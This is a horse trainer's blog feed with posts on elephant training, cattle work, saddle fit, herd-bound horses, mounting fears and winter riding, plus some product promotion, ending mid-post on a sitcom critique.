bonehead exceptions. In my opinion, you never want the exception to be thrown up the stack until it displays the trace to the screen or spit out an unhandled exception error for the user to see. Log it, email it, anything, but do something with it, then rethrow it or return a "polished" error message. @Jarrod I think you took Eric too literally. When he says "don't catch" these exceptions, he means don't catch them at the point where they occur in an attempt to soldier on despite the problem. Of course it is good practice to use a global error handler to log any "unhandled" exceptions that reach the start of the call stack, and display an appropriate error message to the user. Sure. Use mechanisms (such as Watson) to backstop exceptions and report them to the user, or, even better, to the development team. The problem is trickier than it seems. If the blah blah blah code itself throws a FileNotFoundException, do you still want to catch it? Probably not, since it broadens the catch beyond its intent. You're quite prepared for the file at hand to be missing or unreadable, but do you really want the same catch block to trigger when a configuration file is missing deep inside some library code? More likely than not, you want the latter exception to go straight to the debugger. Delegates or lambdas provide an interesting generalised solution for this: public static bool Exogenous<T, E>(Func<T> get, Action<T> use) where E : Exception { T value; try { value = get(); } catch (E) { return false; } use(value); return true; } Usage is quite simple, though some may need time to acclimatise: if (!Exogenous<File, FileNotFoundException>( () => OpenFile(filename, ForReading), file => { // blah blah blah })) // Handle filename not found Interesting article. One of the first things I do when I'm given unfamiliar code is search for "catch" to see what kind of developer(s) I'm dealing with. Nothing bothers me more than two patterns (which I see far too often): catch(Exception x) throw Exception("Failed to achieve happieness"); and catch(Excetpion) // no code at all here return false; So while you're on the subject of catching things. Don't obliterate important debugging information in your catch block. Don't leave *any* catch block completely empty. If there's nothing to do then use // let the sap maintaining your code see what you're hiding. if(Debugger.IsAttached) Debug.WriteLine(x);() { this.Parse(); } catch (...) { } }
http://blogs.msdn.com/ericlippert/archive/2008/09/10/vexing-exceptions.aspx
crawl-002
refinedweb
2,845
61.87
Got a note recently from one of the Groovy developers that he'd authored some documentation around the use of JMX and Groovy. Very nicely he included examples of connecting to OC4J. Good job Paul! ** Small update: I just tried the script and I couldn't get the code example for OC4J to work as it was listed on the site. I had to make a few minor alterations to get it to work for me. Here's the groovy script I have now which works against Groovy 1.0. The script does work as it is shown against Groovy 1.1 which has an enhanced GroovyMBean constructor that can now takes the target MBean name in String form in addition to the earlier ObjectName form. import oracle.oc4j.admin.jmx.remote.api.* import javax.management.remote.* import javax.management.*): 'welcome1' ] def env = [ (JMXConnectorFactory.PROTOCOL_PROVIDER_PACKAGES): provider, (JMXConnector.CREDENTIALS): credentials ] //def MBeanServerConnection server = (MBeanServerConnection)JMXConnectorFactory.connect(serverUrl, env).mBeanServerConnection def server = JMXConnectorFactory.connect(serverUrl, env).mBeanServerConnection def serverInfo = new GroovyMBean(server, new ObjectName(serverPath)) def jvmInfo = new GroovyMBean(server, new ObjectName ObjectName('oc4j:*') String[] allNames = server.queryNames(query, null) def dests = allNames.findAll{ name -> name.contains('j2eeType=JMSDestinationResource') }.collect{ new GroovyMBean(server, new ObjectName(it)) } println "Found ${dests.size()} JMS destinations. Listing ..." dests.each{ d -> println "$d.name: $d.location" } 4 comments: Yes, the example on the Groovy wiki uses the new constructor in Groovy 1.1 which allows you to create GroovyMBeans just using their String name rather than creating a new ObjectName(name). Thanks for the clarification -- sounds like a good enhancement for 1.1. I am trying to get the statistics information for the JDBC connection pool like PoolSize, FreePoolSize,WaitingThreadCount. Do you have any thoughts how I can do that ? OC4J supports the JSR 77 model, so a range of statistics are available from the relevant JDBC/DataSource MBeans. The Javadoc for the OC4J MBeans is here: A good way to explore is to use either the MBean browser available in the OC4J admin console, or to run OC4J with JMX platform server enabled and connect to it using JConsole. If you then want to script this, then Groovy will work very nicely. The later versions of Groovy have nice support for creating JMX connections, so I'd just go with that, connect to the OC4J instance, then query and work with the set of relevant JDBC related MBeans you've discovered from exploring with JConsole/EM. -steve-
http://buttso.blogspot.com/2007/06/groovy-jmx-documentation.html
CC-MAIN-2019-09
refinedweb
411
57.77
Methods in Scala can be parameterized with both values and types. Like on the class level, value parameters are enclosed in a pair of parentheses, while type parameters are declared within a pair of brackets. Here is an example: def dup[T](x: T, n: Int): List[T] = { if (n == 0) Nil else x :: dup(x, n - 1) } println(dup[Int](3, 4)) println(dup("three", 3)) Method dup is parameterized with type T and with the value parameters x: T and n: Int. In the first call to dup, the programmer provides the required parameters, but as the following line shows, the programmer is not required to give actual type parameters explicitly. The type system of Scala can infer such types. This is done by looking at the types of the given value parameters and at the context where the method is called. Contents
http://docs.scala-lang.org/tutorials/tour/polymorphic-methods
CC-MAIN-2017-04
refinedweb
145
56.89
tag:blogger.com,1999:blog-438168869735575662012-05-25T14:16:48.861-06:00Julie Goodnight On the RoadKeep up with natural horsemanship trainer and clinician Julie Goodnight as she travels to horse training clinics and expos, trains horses, and tells all each day! Check out for more training tips, products and information about natural horsemanship training.Julie Goodnight Trainer's Visit to The Elephant Farm<div class="WordSection1"> <div class="MsoNormal"> Sometimes my job and my standing in the equine world opens up some incredible doors for me. I am so fortunate to do what I do and I have met so many interesting people through my travels; some of whom have becomes friends for life. Yesterday was no exception.</div> <div class="MsoNormal"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="" width="320" /></a></div> <div class="MsoNormal"> It was like a dream come true for me. I got to meet, up close and personal, five amazing Asian elephants: Dixie, Rosie, Becky, Kitty and Tai. What incredibly beautiful, intelligent, kind and gentle animals! To stand in the middle of five huge elephants while they surrounded me, sniffed me all over with their trunks and felt around my face; hearing their deep guttural purring, their barking and screeching calls<span style="color: #1f497d;"> </span>as they greeted us; and<span style="color: #1f497d;"> </span>getting fanned by their giant ears was a special thrill I’ll never forget.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> I had met the owners and renowned elephant trainers at a horse expo in California a couple of years ago (they also have a team of matched ponies that perform liberty acts) and after hearing of my fascination with elephants, they extended an open invitation to come visit their farm and yesterday, Twyla and I took them up on their standing invitation, after we finished a clinic in Norco, CA.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> Their facility is incredibly beautiful with spacious areas for the elephants to hang out; it is meticulously clean, neat and safe for the elephants and the care these animals get on a daily basis far exceeds what you would expect to get at a 5-star spa. Here, they explain to Twyla and I how the bull's pen was constructed, while Kitty and Tai have a drink behind them.<"> <br /></div> <div class="MsoNormal"> We arrived at the southern California elephant farm a little after 8:00 am, two hours after the daily chores had begun and just as the last elephant was finishing her daily bath and head-to-tail scrub down (with Murphy’s Oil Soap). She’s not inside an enclosure or restrained in any way as picks up her feet, lifts her trunk, lays down and turns around on command as three handlers scrub every square inch of her body<span style="color: #1f497d;">;</span> they use a power washer to rinse. This daily cleaning is essential to maintain healthy skin but it is clear that the elephants love every minute of it. Their hide is thick and leathery with coarse hair all over.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="" width="320" /></a></div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> The entire time we were at the farm (about 4 hours) the elephants were totally loose, with no restraints of any kind and all the gates wide open<span style="color: #1f497d;"> </span>(except, of course, the perimeter fence which doesn’t so much keep the elephants in as keep the rest of the world out). Keep in mind this is a private training farm-- not open to the public. Most of the time the elephants obediently walked by the handler’s side, doing anything they asked with simple voice commands spoken softly: “Rosie, come here,” “Kitty, move over,” “Becky, lay down,” “Tai, trunk,” (means lift your trunk and prepare for a command). The elephants are happy, content and want to be with their handlers; obedient to every cue and repsonsive to the slightest gesture.<"> After bath time, it’s time for their daily exercise and with the simple command, “tail,” they got in a single file line, grabbed on to the tail in front of them, and began their march around the large pen (with the wide open gates). They walked in a line, trunk to tail, deep into the corners, maintained a steady march and went through their paces without argument or protest. I thought about how hard it is to get a horse to do this when you are on top of him and holding onto two reins and guiding his every step yet these gentle giants (mega herbivores—the technical classification) did it willingly from one voice command from the handler standing at a distance, with no physical contact.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> After about 20 minutes of walking, Gary showed us some of the tricks the girls use in their performances—a 360 degree spin, lay down, sit up, do a hand-stand, wave their trunks, stand on their hind legs. All of this done with simple and quiet voice cues. With incredible grace and strength, they happily performed these difficult maneuvers, clearly eager to please Gary and perhaps to show off in front of us.<span style="color: #1f497d;"> </span>Here’s a video—turn up the volume so you can listen to his soft simple"> When the<span style="color: #1f497d;"> </span>girls were told it was okay to do whatever they wanted, with an “alright, go on,” cue from the handler, all five of them immediately came to us, clearly eager to check out who we were and to say hello—just like a friendly dog would. It was an incredible experience to be surrounded by five elephants, each over eight feet tall and weighing over 8,000 pounds. In their excitement, they started screeching, barking and making deep guttural purring noises as they vied for our attention, feeling and smelling us up and down with their trunks, fanning us with their ears, but all the while moving gently and carefully around us. While I would never stand in a the middle of five strange<span style="color: #1f497d;"> </span>horses vying for attention, I had no concern with the elephants—they are so polite and gentle, coming close but never pushy.<span style="color: #1f497d;"> </span>Here’s the video I took while holding my phone—again, turn up the sound and listen for the deep pur"> We toured around the farm, looking at all the specially designed pens, barns and trailers. These elephants perform in movies, commercials, parades, circuses and fairs around the country and around the world. Every detail of their safety, care and well-being is catered to—from the 9” diameter pipe fencing, to the spotlessly clean barn, to the custom built trailers that carry such a precious load. During our tour we found out that there are only about 300 Asian elephants in this country—in all capacities, including zoos, privately held and performance animals. Each one is precious and the responsibility of their handlers is keenly felt.<span style="color: #1f497d;"> They</span> have worked relentlessly, all of their lives, to take care of these majestic animals and help preserve this endangered species and educate people about them.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> After showing us around the exquisite training farm, two elephants had head dresses put on so that we could ride them. The huge halter-like head-dress fits over the ears and under the throat and was not there for control or restraint, but just for the rider to hold on to. I got to ride Tai, a forty-six year old female and the star of Water for Elephants. Her trainer of over 25 years asked her to kneel down, I stepped up onto her leg then hoisted myself up onto her neck much like getting on a horse bareback. As we paraded around the farm in their slow lumbering gait, I felt like I should be wearing leotards and sequins. At one point, Gary said, “Hold on Julie,” and gave the command and Thai lifted her front legs up into the air like a rearing horse. Holy cow! What a ride!< trainers were awesome to show us their precious elephants and let us get up close and personal with them. They answered my constant stream of questions about their behavior and training and care. Oddly<span style="color: #1f497d;">, they</span> said that training elephants was really no different than training horses. You break it down into small components, reinforce and reward; you maintain a strong and quiet leadership and authority and the elephants want to be with you and please you. At least the females—the male elephants are only tractable until they are about 15 years old or so. Once they reach sexual maturity, they become very dangerous to handle<span style="color: #1f497d;"> </span>or be in the enclosure with.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> After four decades of living for and with elephants, the trainer's sense of responsibility for their charges and indeed for all elephants everywhere is very clear to anyone listening<span style="color: #1f497d;"> </span>or observing. At this elephant farm, there is only one way to do things—the best way. Their entire word revolves around the elephants—not just to the ones that they feel so fortunate to have spent their lives with, but to all elephants everywhere, Asian or African. Since elephants have a life span similar to humans, and they are all middle-aged, the trainers hope to spend the rest of their lives with Kitty, Rosie, Dixie, Becky and Tai. In a perfect world, they and their five girls will all die peacefully of old age in the same week.</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> Thank you for a meaningful experience I will never forget. I cannot wait until the time when our paths cross again.</div> <div class="MsoNormal"> Enjoy the ride,</div> <div class="MsoNormal"> Julie</div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> <br /></div> <div class="MsoNormal"> <br /></div> </div><div class="blogger-post-footer">Please visit Goodnight's sites for more information and training tips:<img width='1' height='1' src='' alt='' /></div><img src="" height="1" width="1"/>Julie Goodnight Working Cattle Helps Your Horsemanship<a href=""><img alt="" border="0" src="" style="cursor: pointer; float: left; height: 203px; margin: 0pt 10px 10px 0pt; width: 306px;" /></a>I asked Julie to tell me a little about why she loves cow work and how it has improved her overall riding. <br /> <br /> Read on to find out what Julie loves about cow work, then check out the clinic and join us there to teach your horse to work cattle, or to get some great tips if you already love the sport: <a href=""></a><br /> <br /> --Heidi Nyland Melocco, Horse Master Director<br /> <br /> <br /> <span style="font-weight: bold;">Julie, when did you first start working cattle?</span><br /> <br />.<br /> <br />.<br /> <br />.<br /> <br /> <br /> <span style="font-weight: bold;">What did it feel like to rope your first cow?</span><br /> <br />.<br /> <br />).<br /> <br />.<br /> <br />.<br /> <br />.<br /> <br /> <br /> <span style="font-weight: bold;">How has learning cow work impacted your riding?</span><br /> <br />.<br /> <br />.<br /> <br />.<br /> <br />.<br /> <br /> <br /> <span style="font-weight: bold;">What does it teach you about your horse?</span><br /> <br />.<br /> <br />.<br /> <br />.<br /> <br />.<br /> <br /> <span style="font-weight: bold;">What skills does it help even if you don't necessarily want to compete in cutting or cow events? What's the benefit for all?</span><br /> <br />.<br /> <br />: <a href=""></a><br /> <br /> --Julie Goodnight<div class="blogger-post-footer">Please visit Goodnight's sites for more information and training tips:<img width='1' height='1' src='' alt='' /></div><img src="" height="1" width="1"/>Julie Goodnight saddle fit more important to the horse or the rider?<div class=WordSection1><p class=MsoNormal>I’ve just recently returned from my first clinic of the year in Topeka, Kansas. It was a great group of riders and horses and I enjoyed working with all of them. We had green horses, finished horses, novices and experts, a variety of breeds and disciplines and everyone had fun and progressed well with their horse. I learned a long time ago that the more I can help the people, the better off their horses will be.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I don’t always know exactly what topics I will cover in a clinic because the content is often shaped by the group. Although I have some standard sessions that I always include in a clinic—the fundamentals of our sport that all riders need refreshing on—often people in the clinic have specific goals or issues to work on. I start each clinic by asking the riders to introduce themselves and their horses, and ask them specifically what they want to work on throughout the weekend. I always make a list, to make sure I cover it all.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>For the most part, the lists from one clinic to another all look more or less the same: control, communication, hone riding skills, confidence, bit problems, slow down/speed up, canter cue, leads, and of course, the inevitable, flying lead changes. Sometimes a person has a specific training issue, like their horse won’t take the right lead or their horse won’t bend to the right and so on.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>At this clinic, I one of the riders was a lovely woman from Arkansas, who had hauled her Paint mare eight hours to ride in the clinic. MaryAnn was a sponge of a student—my favorite kind. She was knowledgeable, experienced and a very good rider that couldn’t learn enough. In the introductions, she stated that her biggest problem was that her horse bucked at the canter. Never a good thing.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>We did ground work all morning, and the mare seemed pretty good; MaryAnn seemed to have a good handle on her. I started getting the picture that the mare perhaps had a touch of what I call PMS. Pissy Mare Syndrome. Kind of cranky and kind of bossy, but overall doing what MaryAnn asked of her. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>It wasn’t until after lunch that I first saw the mare under-saddle. As we warmed up at the walk and trot I didn’t see much that concerned me; although the mare was a little cranky, she did everything asked of her. The first time I ask people to canter, in a clinic with 15 horses that are unfamiliar to me, I always ask them to canter two or three at a time. That keeps my blood pressure down.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>When it was MaryAnn’s turn, her horse stepped right up to the canter on the correct lead, but as she proceeded around the arena, it was obvious her horse was not happy—crow-hopping around like a pogo stick with her tail was wringing like a propeller. Unlike a cold-backed horse (check out my Training Library if you aren’t sure what this means), the mare didn’t warm out of it. Taking a closer look at the picture, my mind went immediately to a physical problem; specifically a saddle fit issue.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>MaryAnn had a very nice saddle with a Wade tree—a popular kind of Western saddle that is built up in front with a deep seat to help keep the rider seated. Very popular amongst colt-starters, for the same reason MaryAnn liked it—helps you ride through the bucks. Although it was the right saddle for MaryAnn, it just wasn’t the right saddle for the mare.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>When I evaluate the saddle fit on a horse, the overall balance is important, as well as checking some specific areas on the horse. If I step a few paces back and look at the horse from the side, I want to see the saddle (be it English or Western) sitting pretty level on the horse’s back. If it is sitting downhill, the horse’s shoulders or withers could be uncomfortable and if it is sitting uphill, the horse may be getting undue pressure at his loins. In either case, the rider’s balance and position is impaired when the saddle does not sit level and balanced on the horse.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I could see from looking at MaryAnn’s saddle, and the uphill slant, that the horse was getting a lot of pressure on the loins from the way the saddle fit her. It is not surprising she protested the canter since she has to round up her back and lift it with each canter stride; not to mention that the rider’s weight can come down hard on the saddle at the canter. So I tactfully suggested that perhaps MaryAnn might like to try the demo saddle I had brought to the clinic. I knew the saddle she had was not cheap, nor was it the first one she had purchased for this mare, so I know the thought of getting yet another saddle to resolve this problem was not what she wanted to hear. But of course she did.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>It was at the end of the first day—all the horses and riders were beat an headed for the barn, but quite a few spectators stuck around to see what happened when MaryAnn tried the new saddle. She trotted a circle or two and cued her horse up to the canter. Although the mare still seemed tense and tight in the back—there was a noticeable improvement in my opinion and many of the spectators saw it too. Unconvinced, MaryAnn was eager to try the saddle again the next day.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>After the ground work, MaryAnn saddled her horse with my Monarch Arena Performance/Trail saddle. We spent a long time working at the walk and trot and when she cued her horse for the canter, she was smooth, relaxed and with her ears perked forward. Gone was the crow-hopping, wringing tail and pinned ears. MaryAnn went home with a brand new saddle and a smile on her face, thanks to her sweet husband who watched the transformation and bought the saddle before MaryAnn got off her horse.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>It’s amazing how often horses work day in and day out with ill-fitting and inappropriate equipment. Imagine working on your feet all day in shoes that caused you pain. Did you ever notice the number of horse’s that have white pots on their backs? Did you know those white hairs are scars caused from pressure points? Sometimes, when the fit-issue is fixed, the hair color comes back but over time the scars become permanent.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The other things that are important to check on the saddle is the clearance at the withers (can you stick your whole hand in there?)—even the pad pressing on the withers can cause painful pressure. Check to make sure it is not pinching at the withers at the front of the tree and, in the case of Western saddles, that it is not too long for the horse and or pressing into the loins or hips.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Most of the saddles in my line of saddles made by Circle Y have a Flex2 tree. Although the flexible tree is not suitable for all riders (can’t rope in it; the rider must weigh under 230#), it offers greater comfort to the horse and fits a wider variety of horses than a traditional wood tree Western saddle. It has enough rigidity to distribute the weight of the rider while flexing enough to conform somewhat to the horse’s back. As the bars of the tree flex slightly, the front of the bars open up just a little, giving the horse much more freedom in the shoulders.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Since I have a demo saddle with me everywhere I go, I’ve tried it on a lot of different horses around the country and have been very impressed by the fit and balance to most horses. The design of my saddles also takes the rider into consideration—the saddle should be fitted to horse AND rider and be comfortable for both. So for the rider, my saddles have a very narrow twist (the part that is just in front of the seat), close contact to the horse’s sides, highest quality pre-softened leather, pre-twisted stirrups and memory foam in the seat. Need I say more?<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The seat size of the saddle should be comfortable for the rider—neither riding on the cantle or crowded by the pommel. With Western saddles, the style of the saddles vary so greatly that you probably need to sit in a saddle, to know for sure how it fits you. The stirrups should be the right size for your feet with the leathers short or long enough so that you ride in the middle hole. The width of the saddle is important too—you should not feel outward pressure on your seat bones or get the feeling that your legs are being wedged apart. The comfort and balance of your saddle are huge factors in how well you ride so these are things you don’t want to compromise on.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>There is much to know about saddle fit, for both horse and rider, and I always appreciate advice from professional saddle fitters. I am by no means and expert but after decades in the business and working with thousands of horses and riders, I’ve developed an eye for it. If you’re not sure about the fit of your tack, consult a professional and get the best advise you can. If your horse has “issues” under-saddle, always consider a physical cause first. If you have “issues” in your riding, you may want to check your saddle.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I’m glad I could help MaryAnn and her mare and I look forward to hearing more about how they progress. One down, thousands to go! Herd-Bound Behavior<div class=WordSection1><p class=MsoNormal>Horses.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<span style='color:#1F497D'><o:p></o:p></span></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Keep in mind that <i>all</i> behavior in <i>all</i> animals, is either instinctive or learned. Horses are extremely fast learning animals and highly sensitive to their environment. Sometimes instinctive behavior can turn to learned behavior over time or on the very first instance.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.>Here are some related articles from my Training Library that may help:<o:p></o:p></p><p class=MsoNormal><a href=""></a> <o:p></o:p></p><p class=MsoNormal><a href=""></a> align=center Relationships with Horses<div class=WordSection1><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Beyond all else, horse seek comfort and security. That’s why making the right thing easy and the wrong thing hard is an incredibly effective training technique and why horse’s thrive on strong leadership—for the security it gives them. Horse gain security in knowing that rules will be enforced, good effort will be rewarded and discipline will be meted out as necessary.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal! to Ride<a href=""><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 141px; height: 200px;" src="" alt="" id="BLOGGER_PHOTO_ID_5706117439705603378" border="0" /></a><br /><div class="WordSection1"><br /><p class="MsoNormal">Lately, I’ve been focused on editing my newest video, a full length training video on.<!--?xml:namespace prefix = o /--><o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal". <o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal" <a href=""></a>!<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal".<o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal">Enjoy the ride!<o:p></o:p></p><br /><p class="MsoNormal">Julie<o:p></o:p></p><br /><p class="MsoNormal">NOTE: We are in the final stages of editing for Ready to Ride, and we hope to have it to the replicators by the end of January, delivering the first copies in February. A pre-release special is currently running ($5 off and free domestic shipping) and expires 1/31/12. <a href=""></a> <o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p><br /><p class="MsoNormal"><o:p></o:p></p></div><div class="blogger-post-footer">Please visit Goodnight's sites for more information and training tips:<img width='1' height='1' src='' alt='' /></div><img src="" height="1" width="1"/>Julie Goodnight Year's Resolutions<div class=WordSection1><p class=MsoNormal>The last day of 2011 is shaping up to be memorable around here, but not in a good way. We are having what the meteorologists call a “fierce wind event.” Living just below the Continental Divide and at the mouth of a river canyon (a big wind funnel), the wind can definitely wreak havoc around here. Right now the wind is howling—shaking the window panes-- but later today we are expecting gusts over 100 mph. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Even the horses are staying holed-up in their stalls rather than coming out to soak up the first rays of sun as they usually do. They don’t have to see the weather report on TV to know what kind of day it’s going to be. Today is one of those days where being in a stall and bundled in a blanket doesn’t seem so bad to them.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I love making NYs resolutions. I do it every year and almost always keep them. Last year one of my resolutions was to use up all the food in my freezer. I almost succeeded. This year, I have three resolutions that have to do with my personal life, my horse and my professional life. Here they are:<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>First, I resolve to finish my project of cleaning out every nook and cranny of my house—getting rid of unused clutter and organizing the remaining stuff. I’ve made it through my dressers and most of the bathroom. Just have the mud room and kitchen to go. Watch out Good Will—here I come!<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Secondly, I resolve to work on Western Dressage with my horse and perfect our bridle-less riding. This doesn’t really take much resolve on my part because I love doing it but a person needs to have goals. Actually, I set these goals because of some presentations I will be doing at expos this year, so I thought I’d co-opt my goals and turn them into a resolution. Why not? If you’re going to do it anyway, may as well make a resolution out of it!<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>My professional resolution is to focus on bringing our new programs to fruition. We have been working on developing a “study club” for individuals and groups who want to get together with others and study horsemanship. Think book club. We have also been working on an apprenticeship program and I am hoping to bring both these programs to fruition in 2012.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I love this time of year because looking ahead to the new year-- it is all potential. A fresh new start. New opportunity awaits and who knows what exciting adventures the new year could bring! I love making resolutions because it is an opportunity to challenge yourself and do better. What about you? What’s your resolutions?<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>With all the wind today, it looks like a good chance for me to hole up in my house and start cleaning out closets. Believe it or not, that sounds like fun to me!<o:p></o:p></p><p class=MsoNormal>Happy New Year! is Terrified of Being Mounted<div class=WordSection1><p class=MsoNormal><span style='font-size:10.0pt;font-family:"Tahoma","sans-serif"'>Hello Julie,<br>I have a 4 yr old registered paint gelding, Zippo Pine Bar bred, tall and gorgeous that I have had for just over a year!!! But, he is terrified of being mounted. I bought him knowing he had a troubled past, but I can't seem to make any new progress with mounting. I have done a ton of ground work!<br>Thank you so much!<br>Nichole<o:p></o:p></span></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Nichole,<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Who knows what happened with your horse,.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal).<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal?<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>There are a lot of articles in my Training Library, <a href=""></a>,.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Take your time, have lots of patience and you will get past this problem with your horse. He sounds like a good egg—he just needs some reprogramming. Winter for Riding Indoors<div class=WordSection1><p class=MsoNormal>After 20 minutes of collected trot and canter, transitioning through all the specified gaits of a western dressage test, <a href=""></a> circling and school figures, Dually is ready to shed the bridle and work in the frame he wants. He loves the freedom of riding bridle-less and he is willing to work extra hard at finding my signals for the chance. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Based on the condition of the outdoor footing, it looks like we’ve got a lot of time to practice between now and the expos that start in February. <a href=""></a> We had a great work out today and I’m looking forward to tomorrow, even if it’s single digits again. What’s your winter riding plan? Aren't Pets<div class=WordSection1><p class=MsoNormal>I watched a new sitcom this week on CBS, called Two Broke Girls. The reasons why I didn’t like this show could fill a book, not the least of which is how it portrays women and how it portrays horses. In my opinion, the show does a great disservice to both.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The story line involves a very rich and privileged perky blonde whose father is in jail due to white collar crime and she loses everything and is suddenly broke and waiting tables. She moves in with another server—a buxom rough-cut brunette. Turns out the rich girl had a show horse, which she could not part with so the horse lives in the back yard of their apartment, hanging his head into the kitchen whenever he wants a cookie, reminiscent of Mr. Ed, although he 